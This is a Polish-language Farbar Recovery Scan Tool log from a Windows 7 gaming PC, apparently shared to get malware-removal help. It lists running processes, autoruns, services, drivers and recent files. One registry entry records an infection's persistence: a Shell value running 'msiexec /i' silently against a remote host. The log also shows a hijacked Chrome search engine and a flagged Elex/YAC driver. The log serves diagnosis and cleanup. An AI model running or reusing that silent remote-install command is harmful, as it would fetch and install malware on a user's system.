Rezultaty skanowania Farbar Recovery Scan Tool (FRST) (x64) Wersja: 07-06-2017 01
Uruchomiony przez Lambert (administrator)  LAMBERT7 (07-06-2017 19:57:40)
Uruchomiony z C:\Users\Lambert\Downloads
Załadowane profile: Lambert (Dostępne profile: Lambert)
Platform: Windows 7 Ultimate Service Pack 1 (X64) Język: Polski (Polska)
Internet Explorer Wersja 8 (Domyślna przeglądarka: Chrome)
Tryb startu: Normal
Instrukcja obsługi Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Procesy (filtrowane) =================

(Załączenie wejścia w fixlist spowoduje zamknięcie procesu. Powiązany plik nie zostanie przeniesiony.)

(NVIDIA Corporation) C:\Windows\System32\nvvsvc.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvxdsync.exe
(NVIDIA Corporation) C:\Windows\System32\nvvsvc.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\GeForce Experience Service\GfExperienceService.exe
(Hi-Rez Studios) D:\Program Files (x86)\Hi-Rez Studios\HiPatchService.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamService.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvtray.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe
() C:\Windows\SysWOW64\PnkBstrA.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamNetworkService.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
(Microsoft Corporation) C:\Program Files\Windows Sidebar\sidebar.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamUserAgent.exe
(Valve Corporation) D:\Program Files (x86)\Steam\Steam.exe
() C:\Gry\Counter-Strike 1.6 v43\SteamServerBrowser\SteamServerBrowser.exe
(Electronic Arts) D:\Program Files (x86)\Origin\OriginWebHelperService.exe
(Valve Corporation) D:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe
(Valve Corporation) C:\Program Files (x86)\Common Files\Steam\SteamService.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(VideoLAN) C:\Program Files\VideoLAN\VLC\vlc.exe

==================== Rejestr (filtrowane) ====================

(Załączenie wejścia w fixlist spowoduje usunięcie obiektu z rejestru lub przywrócenie jego domyślnej postaci. Powiązany plik nie zostanie przeniesiony.)

HKLM\...\Run: [NvBackend] => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe [2397120 2016-06-14] (NVIDIA Corporation)
HKLM\...\Run: [ShadowPlay] => "C:\Windows\system32\rundll32.exe" C:\Windows\system32\nvspcap64.dll,ShadowPlayOnSystemStart
HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [14021336 2015-06-18] (Realtek Semiconductor)
HKU\S-1-5-21-489643024-731826354-959299013-1000\...\Run: [Steam] => D:\Program Files (x86)\Steam\steam.exe [3042592 2017-06-01] (Valve Corporation)
HKU\S-1-5-21-489643024-731826354-959299013-1000\...\Run: [EADM] => D:\Program Files (x86)\Origin\Origin.exe [3048312 2017-05-31] (Electronic Arts)
HKU\S-1-5-21-489643024-731826354-959299013-1000\...\Run: [SteamServerBrowser] => C:\Gry\Counter-Strike 1.6 v43\SteamServerBrowser\SteamServerBrowser.exe [206848 2017-01-10] ()
HKU\S-1-5-21-489643024-731826354-959299013-1000\...\Run: [WallpaperEngine] => H:\SteamLibrary\steamapps\common\wallpaper_engine\wallpaper32.exe [691200 2017-02-16] ()
HKU\S-1-5-21-489643024-731826354-959299013-1000\...\Run: [Gaijin.Net Agent] => C:\Users\Lambert\AppData\Local\Gaijin\Program Files (x86)\NetAgent\gjagent.exe [2012616 2017-06-07] (Gaijin Entertainment)
HKU\S-1-5-21-489643024-731826354-959299013-1000\...\Run: [Skype] => C:\Program Files (x86)\Skype\Phone\Skype.exe [27716568 2017-05-04] (Skype Technologies S.A.)
HKU\S-1-5-21-489643024-731826354-959299013-1000\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i hxxp://point.ltdmsjq.com/?data=zDlkMj1YMTNWMUUdRTLXMjZQRUFcNjNLMWVSFjHyMUVLRTFdFc== /q

==================== Internet (filtrowane) ====================

(Załączenie wejścia w fixlist, w przypadku gdy jest to obiekt rejestru, spowoduje usunięcie go z rejestru lub przywrócenie jego domyślnej postaci.)

Tcpip\Parameters: [DhcpNameServer] 192.168.0.1
Tcpip\..\Interfaces\{DAE85576-4113-4901-BA51-FEF5A2A9840E}: [DhcpNameServer] 192.168.0.1

Internet Explorer:
==================
HKU\S-1-5-21-489643024-731826354-959299013-1000\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = hxxp://www.msn.com/pl-pl/?ocid=iehp
Filter: deflate - {8f6b0360-b80d-11d0-a9b3-006097942311} - C:\Windows\system32\urlmon.dll [2010-11-21] (Microsoft Corporation)
Filter-x32: deflate - {8f6b0360-b80d-11d0-a9b3-006097942311} - C:\Windows\SysWOW64\urlmon.dll [2010-11-21] (Microsoft Corporation)
Filter: gzip - {8f6b0360-b80d-11d0-a9b3-006097942311} - C:\Windows\system32\urlmon.dll [2010-11-21] (Microsoft Corporation)
Filter-x32: gzip - {8f6b0360-b80d-11d0-a9b3-006097942311} - C:\Windows\SysWOW64\urlmon.dll [2010-11-21] (Microsoft Corporation)

FireFox:
========
FF DefaultProfile: q5pdmmjw.Lambert
FF ProfilePath: C:\Users\Lambert\AppData\Roaming\Mozilla\Firefox\Profiles\q5pdmmjw.Lambert [2017-06-07]
FF HKLM-x32\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET NOD32 Antivirus\Mozilla Thunderbird => nie znaleziono

Chrome: 
=======
CHR DefaultSearchURL: Default -> hxxp://www.mystarting123.com/search/index.php?z=a97cba859b67338f0c1f10eg8z7t6w5q5z1b6w8w4o&q={searchTerms}
CHR DefaultSearchKeyword: Default -> mystarting123
CHR Profile: C:\Users\Lambert\AppData\Local\Google\Chrome\User Data\Default [2017-06-07]
CHR Extension: (Prezentacje Google) - C:\Users\Lambert\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2016-09-13]
CHR Extension: (BetterTTV) - C:\Users\Lambert\AppData\Local\Google\Chrome\User Data\Default\Extensions\ajopnjidmegmdimjlfnijceegpefgped [2017-04-21]
CHR Extension: (Dokumenty Google) - C:\Users\Lambert\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2016-09-13]
CHR Extension: (Dysk Google) - C:\Users\Lambert\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2016-09-13]
CHR Extension: (YouTube) - C:\Users\Lambert\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2016-09-13]
CHR Extension: (Arkusze Google) - C:\Users\Lambert\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2016-09-13]
CHR Extension: (Dokumenty Google offline) - C:\Users\Lambert\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2016-09-13]
CHR Extension: (AdBlock) - C:\Users\Lambert\AppData\Local\Google\Chrome\User Data\Default\Extensions\gighmmpiobklfepjocnamgkkbiglidom [2017-04-13]
CHR Extension: (Płatności w sklepie Chrome Web Store) - C:\Users\Lambert\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2017-03-09]
CHR Extension: (Gmail) - C:\Users\Lambert\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2016-09-13]
CHR Extension: (Chrome Media Router) - C:\Users\Lambert\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2017-05-20]

==================== Usługi (filtrowane) ====================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

S3 EasyAntiCheat; C:\Windows\SysWOW64\EasyAntiCheat.exe [245544 2017-05-21] (EasyAntiCheat Ltd)
S3 GalaxyClientService; C:\Program Files (x86)\GOG Galaxy\GalaxyClientService.exe [512576 2017-05-23] (GOG.com)
S3 GalaxyCommunication; C:\ProgramData\GOG.com\Galaxy\redists\GalaxyCommunication.exe [7955008 2017-05-20] (GOG.com)
R2 GfExperienceService; C:\Program Files\NVIDIA Corporation\GeForce Experience Service\GfExperienceService.exe [1163712 2016-06-14] (NVIDIA Corporation)
U2 HiPatchService; D:\Program Files (x86)\Hi-Rez Studios\HiPatchService.exe [9728 2017-02-10] (Hi-Rez Studios) [Brak podpisu cyfrowego]
R2 NvNetworkService; C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe [1879488 2016-06-14] (NVIDIA Corporation)
R3 NvStreamNetworkSvc; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamNetworkService.exe [3632576 2016-06-14] (NVIDIA Corporation)
R2 NvStreamSvc; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamService.exe [2521024 2016-06-14] (NVIDIA Corporation)
S3 Origin Client Service; D:\Program Files (x86)\Origin\OriginClientService.exe [2155920 2017-05-31] (Electronic Arts)
R2 Origin Web Helper Service; D:\Program Files (x86)\Origin\OriginWebHelperService.exe [3125656 2017-05-31] (Electronic Arts)
R2 PnkBstrA; C:\Windows\SysWOW64\PnkBstrA.exe [76888 2016-12-16] ()
R2 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [1011712 2009-07-14] (Microsoft Corporation)

===================== Sterowniki (filtrowane) ======================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

R3 NvStreamKms; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamKms.sys [26560 2016-06-14] (NVIDIA Corporation)
R3 nvvad_WaveExtensible; C:\Windows\System32\drivers\nvvad64v.sys [56384 2016-04-14] (NVIDIA Corporation)
S1 iSafeKrnlMon; \??\C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlMon.sys [X] <==== UWAGA

==================== NetSvcs (filtrowane) ===================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)


==================== Jeden miesiąc - utworzone pliki i foldery ========

(Załączenie wejścia w fixlist spowoduje przeniesienie pliku/folderu.)

2017-06-07 19:57 - 2017-06-07 19:58 - 00010394 _____ C:\Users\Lambert\Downloads\FRST.txt
2017-06-07 19:56 - 2017-06-07 19:56 - 00000000 ____D C:\Users\Lambert\Desktop\Nowy folder
2017-06-07 19:30 - 2017-06-07 19:30 - 00000000 ____D C:\Users\Lambert\AppData\Roaming\Google
2017-06-07 19:29 - 2017-06-07 19:48 - 00002257 _____ C:\Users\Lambert\Desktop\Google Chrome.lnk
2017-06-07 19:29 - 2017-06-07 19:29 - 00001051 _____ C:\Users\Lambert\Desktop\Mozilla Firefox.lnk
2017-06-07 19:28 - 2017-06-07 19:28 - 00000000 ____D C:\Users\Lambert\AppData\Local\THQ
2017-06-07 19:20 - 2017-06-07 19:22 - 00041882 _____ C:\Users\Lambert\Downloads\Fixlog.txt
2017-06-07 19:19 - 2017-06-07 19:57 - 00000000 ____D C:\Users\Lambert\Downloads\FRST-OlderVersion
2017-06-04 21:24 - 2017-06-04 21:24 - 00001165 _____ C:\Users\Lambert\Desktop\rteae.txt
2017-06-03 20:01 - 2017-06-03 20:01 - 00000222 _____ C:\Users\Lambert\Desktop\Football Manager Touch 2017.url
2017-06-03 20:01 - 2017-06-03 20:01 - 00000222 _____ C:\Users\Lambert\Desktop\Football Manager 2017.url
2017-06-02 12:23 - 2017-06-07 19:57 - 00000000 ____D C:\FRST
2017-06-02 10:25 - 2017-06-02 10:25 - 00593952 _____ (Duplex Secure Ltd) C:\Users\Lambert\Downloads\SPTDinst-v189-x64.exe
2017-06-02 10:21 - 2017-06-02 10:21 - 00380928 _____ C:\Users\Lambert\Downloads\qd1y4yyr.exe
2017-06-02 09:52 - 2017-06-07 19:57 - 02435072 _____ (Farbar) C:\Users\Lambert\Downloads\FRST64.exe
2017-05-28 08:09 - 2017-05-28 08:09 - 00007602 _____ C:\Users\Lambert\AppData\Local\Resmon.ResmonCfg
2017-05-27 19:09 - 2017-05-27 19:11 - 63035592 _____ (Malwarebytes ) C:\Users\Lambert\Downloads\mb3-setup-adwc.adwc100.3.1.2.1733.exe
2017-05-27 18:52 - 2017-05-27 18:52 - 02221356 _____ C:\Users\Lambert\Downloads\AdwCleaner Portable AdwCleaner 5.019 PL.rar
2017-05-27 18:50 - 2017-06-07 19:56 - 00000000 ____D C:\AdwCleaner
2017-05-27 18:31 - 2017-05-27 18:29 - 03968543 _____ C:\Users\Lambert\Desktop\adwcleaner_6.040.rar
2017-05-27 18:31 - 2016-12-03 05:11 - 03968464 _____ C:\Users\Lambert\Desktop\adwcleaner_6.040.exe
2017-05-27 18:29 - 2017-05-27 18:29 - 03968543 _____ C:\Users\Lambert\Downloads\adwcleaner_6.040.rar
2017-05-25 22:20 - 2017-05-25 22:20 - 00000000 ____D C:\Users\Lambert\Documents\ARC SYSTEM WORKS
2017-05-25 22:02 - 2017-05-25 22:02 - 00000671 _____ C:\Users\Public\Desktop\GUILTY GEAR XX ACCENT CORE PLUS R.lnk
2017-05-25 18:42 - 2017-05-25 20:42 - 00000000 ___SD C:\Users\Lambert\AppData\LocalLow\Temp
2017-05-25 11:03 - 2017-05-25 11:03 - 00000000 ____D C:\Users\Public\Documents\Google
2017-05-25 11:02 - 2016-05-23 04:41 - 00055056 _____ (Elex do Brasil Participações Ltda) C:\Windows\system32\Drivers\iSafeKrnlBoot.sys
2017-05-25 11:02 - 2016-05-19 08:42 - 00052392 _____ (Elex do Brasil Participações Ltda) C:\Windows\system32\Drivers\iSafeNetFilter.sys
2017-05-24 22:38 - 2017-05-24 22:38 - 00653718 _____ C:\Users\Lambert\Desktop\cc_20170524_223819.reg
2017-05-24 22:33 - 2017-05-24 22:34 - 09551280 _____ (Piriform Ltd) C:\Users\Lambert\Desktop\ccsetup530.exe
2017-05-24 22:26 - 2017-05-24 22:26 - 00000000 ___RD C:\Program Files (x86)\Skype
2017-05-24 22:26 - 2017-05-24 22:26 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype
2017-05-24 21:59 - 2017-05-24 22:15 - 167800790 _____ C:\Users\Lambert\Desktop\Avast! Free Antivirus 2016 11.1.2241 Final.rar
2017-05-24 18:16 - 2017-05-24 18:16 - 00000000 ____D C:\ProgramData\CDProjekt RED
2017-05-24 18:15 - 2017-05-24 18:15 - 00000000 ____D C:\Users\Lambert\AppData\LocalLow\CDProjektRED
2017-05-24 18:13 - 2017-05-24 18:13 - 00001285 _____ C:\Users\Public\Desktop\Gwent.lnk
2017-05-24 17:34 - 2017-05-24 17:34 - 00001291 _____ C:\Users\Public\Desktop\Gwint.lnk
2017-05-24 17:34 - 2017-05-24 17:34 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Gwint [GOG.com]
2017-05-24 17:07 - 2017-05-24 17:28 - 156003320 _____ (GOG.com ) C:\Users\Lambert\Desktop\setup_gwent_1.2.9.5a_pl.exe
2017-05-24 17:07 - 2017-05-24 17:07 - 00000064 _____ C:\Users\Lambert\Desktop\gogGalaxy.auth
2017-05-21 19:49 - 2017-05-21 19:49 - 00000000 ____D C:\Users\Lambert\AppData\LocalLow\Freejam
2017-05-21 18:42 - 2017-05-21 18:42 - 00000222 _____ C:\Users\Lambert\Desktop\Guns and Robots.url
2017-05-21 18:41 - 2017-05-21 18:41 - 00000222 _____ C:\Users\Lambert\Desktop\Robocraft.url
2017-05-20 21:26 - 2017-05-20 21:26 - 00000135 _____ C:\Users\Lambert\Desktop\Just Cause Demo.url
2017-05-20 20:43 - 2017-05-20 20:44 - 08649410 _____ C:\Users\Lambert\Desktop\Saints Row 2 Spolszczenie.rar
2017-05-20 20:39 - 2008-07-12 08:18 - 04992520 _____ (Microsoft Corporation) C:\Windows\system32\D3DX9_39.dll
2017-05-20 20:39 - 2008-07-12 08:18 - 03851784 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DX9_39.dll
2017-05-20 20:39 - 2008-07-12 08:18 - 01942552 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_39.dll
2017-05-20 20:39 - 2008-07-12 08:18 - 01493528 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DCompiler_39.dll
2017-05-20 20:39 - 2008-07-12 08:18 - 00540688 _____ (Microsoft Corporation) C:\Windows\system32\d3dx10_39.dll
2017-05-20 20:39 - 2008-07-12 08:18 - 00467984 _____ (Microsoft Corporation) C:\Windows\SysWOW64\d3dx10_39.dll
2017-05-20 17:56 - 2017-05-20 17:56 - 00000000 ____D C:\Users\Lambert\Documents\Duke Nukem Forever
2017-05-20 17:49 - 2017-05-20 19:09 - 48971969 _____ C:\Users\Lambert\Desktop\fmATLON4450B.rar
2017-05-20 15:46 - 2017-05-20 15:54 - 00000000 ____D C:\Users\Lambert\Documents\gothic3
2017-05-20 15:46 - 2017-05-20 15:46 - 00000196 _____ C:\Users\Lambert\Desktop\Gothic 3™.lnk
2017-05-20 13:38 - 2017-05-20 13:38 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Velvet Assassin
2017-05-20 13:10 - 2017-05-20 13:31 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Gothic III
2017-05-18 12:03 - 2017-05-18 12:03 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Folder Size
2017-05-18 12:03 - 2017-05-18 12:03 - 00000000 ____D C:\Program Files (x86)\Folder Size
2017-05-18 10:26 - 2017-05-18 10:26 - 00000000 ____D C:\Users\Lambert\Documents\PCSX2
2017-05-18 10:23 - 2017-05-18 10:24 - 00000000 ____D C:\Windows\SysWOW64\directx
2017-05-18 10:23 - 2017-05-18 10:23 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PCSX2

==================== Jeden miesiąc - zmodyfikowane pliki i foldery ========

(Załączenie wejścia w fixlist spowoduje przeniesienie pliku/folderu.)

2017-06-07 19:56 - 2016-11-26 00:31 - 00000000 ____D C:\Users\Lambert\AppData\LocalLow\Mozilla
2017-06-07 19:52 - 2016-09-13 20:38 - 00000000 ____D C:\ProgramData\Origin
2017-06-07 19:33 - 2009-07-14 06:45 - 00026352 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2017-06-07 19:33 - 2009-07-14 06:45 - 00026352 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2017-06-07 19:27 - 2016-10-06 11:39 - 00000000 ____D C:\Users\Lambert\AppData\Roaming\Skype
2017-06-07 19:23 - 2016-09-13 18:48 - 00000000 ____D C:\ProgramData\NVIDIA
2017-06-07 19:23 - 2009-07-14 07:08 - 00000006 ____H C:\Windows\Tasks\SA.DAT
2017-06-07 19:21 - 2016-10-15 10:20 - 00000000 ___RD C:\Users\Lambert\Desktop\Gówno
2017-06-07 19:20 - 2016-09-13 18:43 - 00000000 ____D C:\ProgramData\Package Cache
2017-06-07 19:16 - 2016-09-13 17:31 - 00001501 _____ C:\Users\Lambert\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-06-07 19:16 - 2016-09-13 17:31 - 00001467 _____ C:\Users\Lambert\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer (64-bit).lnk
2017-06-05 22:51 - 2016-11-05 10:56 - 00000000 ____D C:\Users\Lambert\AppData\Roaming\vlc
2017-06-05 22:35 - 2017-03-01 22:47 - 00000000 ____D C:\Users\Lambert\AppData\Roaming\TS3Client
2017-06-05 08:49 - 2016-09-13 20:51 - 00000000 ____D C:\Users\Lambert\AppData\Roaming\Origin
2017-06-03 20:01 - 2016-09-13 20:16 - 00000000 ____D C:\Users\Lambert\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Steam
2017-06-02 18:12 - 2016-10-06 14:03 - 00000000 ____D C:\Program Files\Common Files\AV
2017-06-02 10:22 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\inf
2017-05-29 21:10 - 2010-11-21 14:53 - 00749618 _____ C:\Windows\system32\perfh015.dat
2017-05-29 21:10 - 2010-11-21 14:53 - 00161096 _____ C:\Windows\system32\perfc015.dat
2017-05-29 21:10 - 2009-07-14 07:13 - 01697332 _____ C:\Windows\system32\PerfStringBackup.INI
2017-05-28 20:26 - 2016-09-15 18:22 - 00000000 ____D C:\Users\Lambert\Documents\FIFA 14
2017-05-28 16:50 - 2016-10-01 13:20 - 00000000 ____D C:\Windows\system32\appmgmt
2017-05-28 11:17 - 2016-09-13 17:47 - 00000000 ____D C:\temp
2017-05-27 19:50 - 2017-02-12 19:16 - 00000000 ____D C:\Users\Lambert\AppData\Local\CrashDumps
2017-05-27 19:43 - 2016-09-13 17:50 - 00000000 ____D C:\Users\Lambert\AppData\Roaming\Mumble
2017-05-26 18:20 - 2016-10-14 22:28 - 00000000 ____D C:\Users\Lambert\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Games
2017-05-25 22:13 - 2016-12-13 22:58 - 00000000 ____D C:\Users\Lambert\AppData\LocalLow\BitTorrent
2017-05-25 22:13 - 2016-12-13 22:29 - 00000000 ____D C:\Users\Lambert\AppData\Roaming\BitTorrent
2017-05-24 22:37 - 2016-09-18 12:18 - 00000000 ____D C:\Windows\Minidump
2017-05-24 22:37 - 2016-09-13 18:00 - 00000000 ____D C:\Windows\Panther
2017-05-24 22:26 - 2016-10-06 11:39 - 00000000 ____D C:\ProgramData\Skype
2017-05-24 22:15 - 2016-09-13 17:53 - 00063144 _____ C:\Users\Lambert\AppData\Local\GDIPFONTCACHEV1.DAT
2017-05-24 19:59 - 2009-07-14 06:45 - 00290848 _____ C:\Windows\system32\FNTCACHE.DAT
2017-05-24 18:13 - 2017-04-20 17:33 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\GOG.com
2017-05-24 18:08 - 2017-04-20 17:32 - 00000000 ____D C:\Program Files (x86)\GOG Galaxy
2017-05-23 20:37 - 2016-09-13 23:38 - 00000000 ____D C:\Users\Lambert\Documents\Euro Truck Simulator 2
2017-05-22 18:23 - 2009-07-14 07:08 - 00032608 _____ C:\Windows\Tasks\SCHEDLGU.TXT
2017-05-21 18:41 - 2017-02-15 00:25 - 00245544 _____ (EasyAntiCheat Ltd) C:\Windows\SysWOW64\EasyAntiCheat.exe
2017-05-21 18:04 - 2009-07-14 07:32 - 00000000 ____D C:\Program Files\DVD Maker
2017-05-20 19:40 - 2016-12-18 19:00 - 00000000 ____D C:\ProgramData\TruckersMP
2017-05-20 14:57 - 2016-09-14 19:01 - 00000000 ____D C:\Program Files\TeamSpeak 3 Client
2017-05-20 13:38 - 2016-09-13 22:46 - 00000000 ____D C:\Users\Lambert\Documents\My Games
2017-05-20 13:10 - 2016-09-13 17:47 - 00000000 ___HD C:\Program Files (x86)\InstallShield Installation Information
2017-05-18 12:05 - 2017-02-14 19:45 - 00000000 ____D C:\ProgramData\Codemasters
2017-05-18 12:03 - 2017-02-11 20:38 - 02301330 _____ (MindGems, Inc. ) C:\Users\Lambert\Downloads\Folder Size Free 3.4.0.0 [1].exe
2017-05-18 11:51 - 2017-01-28 18:53 - 00000000 ____D C:\Gry
2017-05-17 22:53 - 2016-10-17 19:29 - 00000000 ____D C:\Users\Lambert\Documents\Witcher 2
2017-05-15 22:27 - 2017-03-30 20:22 - 00000000 ____D C:\Users\Lambert\Documents\Max Payne Savegames
2017-05-11 19:17 - 2016-11-20 14:28 - 00000000 ____D C:\Program Files (x86)\Mozilla Firefox
2017-05-11 19:17 - 2016-11-01 01:57 - 00000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service

==================== Pliki w katalogu głównym wybranych folderów =======

2017-05-28 08:09 - 2017-05-28 08:09 - 0007602 _____ () C:\Users\Lambert\AppData\Local\Resmon.ResmonCfg
2016-09-13 20:00 - 2016-09-13 20:00 - 0000000 ____H () C:\ProgramData\DP45977C.lfl

Niektóre pliki w TEMP:
====================
2016-12-02 21:42 - 2016-12-02 21:42 - 2458672 _____ (The OpenSSL Project, http://www.openssl.org/) C:\Users\Lambert\AppData\Local\Temp\libeay32.dll
2016-12-02 21:42 - 2016-12-02 21:42 - 0970912 _____ (Microsoft Corporation) C:\Users\Lambert\AppData\Local\Temp\msvcr120.dll
2016-12-02 21:42 - 2016-12-02 21:42 - 0772672 _____ () C:\Users\Lambert\AppData\Local\Temp\sqlite3.dll

==================== Bamital & volsnap ======================

(Brak automatycznej naprawy dla plików które nie przeszły weryfikacji.)

C:\Windows\system32\winlogon.exe => Plik podpisany cyfrowo
C:\Windows\system32\wininit.exe => Plik podpisany cyfrowo
C:\Windows\SysWOW64\wininit.exe => Plik podpisany cyfrowo
C:\Windows\explorer.exe => Plik podpisany cyfrowo
C:\Windows\SysWOW64\explorer.exe => Plik podpisany cyfrowo
C:\Windows\system32\svchost.exe => Plik podpisany cyfrowo
C:\Windows\SysWOW64\svchost.exe => Plik podpisany cyfrowo
C:\Windows\system32\services.exe => Plik podpisany cyfrowo
C:\Windows\system32\User32.dll => Plik podpisany cyfrowo
C:\Windows\SysWOW64\User32.dll => Plik podpisany cyfrowo
C:\Windows\system32\userinit.exe => Plik podpisany cyfrowo
C:\Windows\SysWOW64\userinit.exe => Plik podpisany cyfrowo
C:\Windows\system32\rpcss.dll => Plik podpisany cyfrowo
C:\Windows\system32\dnsapi.dll => Plik podpisany cyfrowo
C:\Windows\SysWOW64\dnsapi.dll => Plik podpisany cyfrowo
C:\Windows\system32\Drivers\volsnap.sys => Plik podpisany cyfrowo

LastRegBack: 2017-05-14 11:19

==================== Koniec  FRST.txt ============================